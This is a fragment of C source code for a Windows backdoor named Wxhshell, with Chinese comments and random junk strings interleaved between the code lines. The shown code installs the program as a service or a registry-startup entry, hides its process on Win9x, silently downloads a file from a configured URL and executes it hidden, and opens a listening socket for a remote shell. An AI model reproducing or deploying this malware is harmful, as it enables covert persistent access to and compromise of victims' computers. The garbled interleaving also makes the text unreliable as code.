u=l1s1> unsigned long cbNeeded; J{"kw1Lu Vd9@Dy if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u=+q$Q] ik,lSTBD CloseHandle(hProcess); f^Bc S[:xqzyDg if(strstr(procName,"services")) return 1; // 以服务启动 adEJk q }C+tn"\ return 0; // 注册表启动 &~DTZgY } i, n D5@# B7*}c]^6/ // 主模块 }OShT+xeX int StartWxhshell(LPSTR lpCmdLine) V`hu,Y;% { ` (4pu6uT SOCKET wsl; jdqj=Yc BOOL val=TRUE; w=b(X
q+: int port=0; }odV_WT struct sockaddr_in door; ni CE\B~ *gsAn<
if(wscfg.ws_autoins) Install(); ^C^*,V3 2YwVU.*> port=atoi(lpCmdLine); cd@.zg'sYn "E!mva*NU if(port<=0) port=wscfg.ws_port; !mfJpJ M@UVpQwgv WSADATA data; ?h\mk0[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9L eNe}9v S9sR# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; J QKdW setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @)YY\l# door.sin_family = AF_INET; XFZ~ #DT& door.sin_addr.s_addr = inet_addr("127.0.0.1"); B33$ u3d door.sin_port = htons(port); Al"3 kRJJ wNCCH55Pt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,%"xH4d closesocket(wsl); |KCOfVh?|. return 1; *6ZCDm&N } SqPtWEq@P CX/(o] if(listen(wsl,2) == INVALID_SOCKET) { `\$8`Zb; closesocket(wsl); MEZ{j%-a return 1; ~fN%WZ;_ } B uQ|~V Wxhshell(wsl); !-]C;9Zd WSACleanup(); yOXO)u1n B;zt#H4 return 0; Z)<
wv&K Iq5pAHm>M6 } $ACx*e% w; TkkDH // 以NT服务方式启动 GUp;AoQ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PBqy F { :>3=gex@^0 DWORD status = 0; vn').\,P2O DWORD specificError = 0xfffffff; cA`4:gp P~$<X serviceStatus.dwServiceType = SERVICE_WIN32; :Hy] serviceStatus.dwCurrentState = SERVICE_START_PENDING; >=,uau7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
Se^^E.Z,W serviceStatus.dwWin32ExitCode = 0; iDb;_? serviceStatus.dwServiceSpecificExitCode = 0; E0f{iO;} serviceStatus.dwCheckPoint = 0; {eZ{] serviceStatus.dwWaitHint = 0; :J_oj:0r"f 7ETjn)%bs hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |^n3{m if (hServiceStatusHandle==0) return; JNU/`JN9f rj]
E@W status = GetLastError(); ~hX-u8Ul'N if (status!=NO_ERROR) _2Zp1h, { E)p9eU[# serviceStatus.dwCurrentState = SERVICE_STOPPED; ]?l{j serviceStatus.dwCheckPoint = 0; HxwlYx,4 serviceStatus.dwWaitHint = 0; H'g?llh1J serviceStatus.dwWin32ExitCode = status; C".1+Um serviceStatus.dwServiceSpecificExitCode = specificError; W:s@L#- SetServiceStatus(hServiceStatusHandle, &serviceStatus); w<nv!e? return; eD#XDK } XX; 6 P UPh=+s #Q serviceStatus.dwCurrentState = SERVICE_RUNNING; |7F*MP serviceStatus.dwCheckPoint = 0; b{[*N serviceStatus.dwWaitHint = 0; `iixq9xi if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'imU`zeo } S3\jcgrS `u'dh{,gE // 处理NT服务事件,比如:启动、停止 kA?_%fi1 VOID WINAPI NTServiceHandler(DWORD fdwControl) !c(QSf502 { {[#(w75R{ switch(fdwControl) #6> 6S;Ib { "~+.Af case SERVICE_CONTROL_STOP: C8b''9t. serviceStatus.dwWin32ExitCode = 0; G?)vWM`j serviceStatus.dwCurrentState = SERVICE_STOPPED; nfE@R."A serviceStatus.dwCheckPoint = 0; .KA V) So" serviceStatus.dwWaitHint = 0; HkjEiU { bg7n SetServiceStatus(hServiceStatusHandle, &serviceStatus); :=. *I } ~l4f{uOD>] return; LJuW${Y case SERVICE_CONTROL_PAUSE: fEqC] *s serviceStatus.dwCurrentState = SERVICE_PAUSED; ^X1wI9V break; NPU^)B case SERVICE_CONTROL_CONTINUE: zQfkMa. serviceStatus.dwCurrentState = SERVICE_RUNNING; S`g;Y
' break; v|@1( case SERVICE_CONTROL_INTERROGATE: TipHV;|e break; 3)E(RyQA3 }; o}D![/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); otriif@+Z } Da,Tav%b mnQ'X-q3iO // 标准应用程序主函数 tbur$00 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UzQ$B> f { 3 wt sBjXE>_#) // 获取操作系统版本 hPO>,j^ OsIsNt=GetOsVer(); '`o[+. GetModuleFileName(NULL,ExeFile,MAX_PATH); h|W%4|]R) n<R \w''x // 从命令行安装 UKs$W` if(strpbrk(lpCmdLine,"iI")) Install(); /$`;r2LG SMO*({/ // 下载执行文件 *x,HnHT if(wscfg.ws_downexe) { #93}E
Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j
jY{Uq WinExec(wscfg.ws_filenam,SW_HIDE); 6VR[)T% } 'lQYJ0 I: U$ if(!OsIsNt) { %V_eJC""? // 如果时win9x,隐藏进程并且设置为注册表启动 >d%VDjk . HideProc(); 0xP:9rm StartWxhshell(lpCmdLine); jgRCs.6 } 9ECS,r*B else VkXn8J if(StartFromService()) V/-MIH7SF // 以服务方式启动 =]KIkS 3 StartServiceCtrlDispatcher(DispatchTable); w2Kq(^? else cjY@Ot*i$ // 普通方式启动 r$DZkMue StartWxhshell(lpCmdLine); 7A0dl}: uBRw>"c_*8 return 0; B$7[8h }
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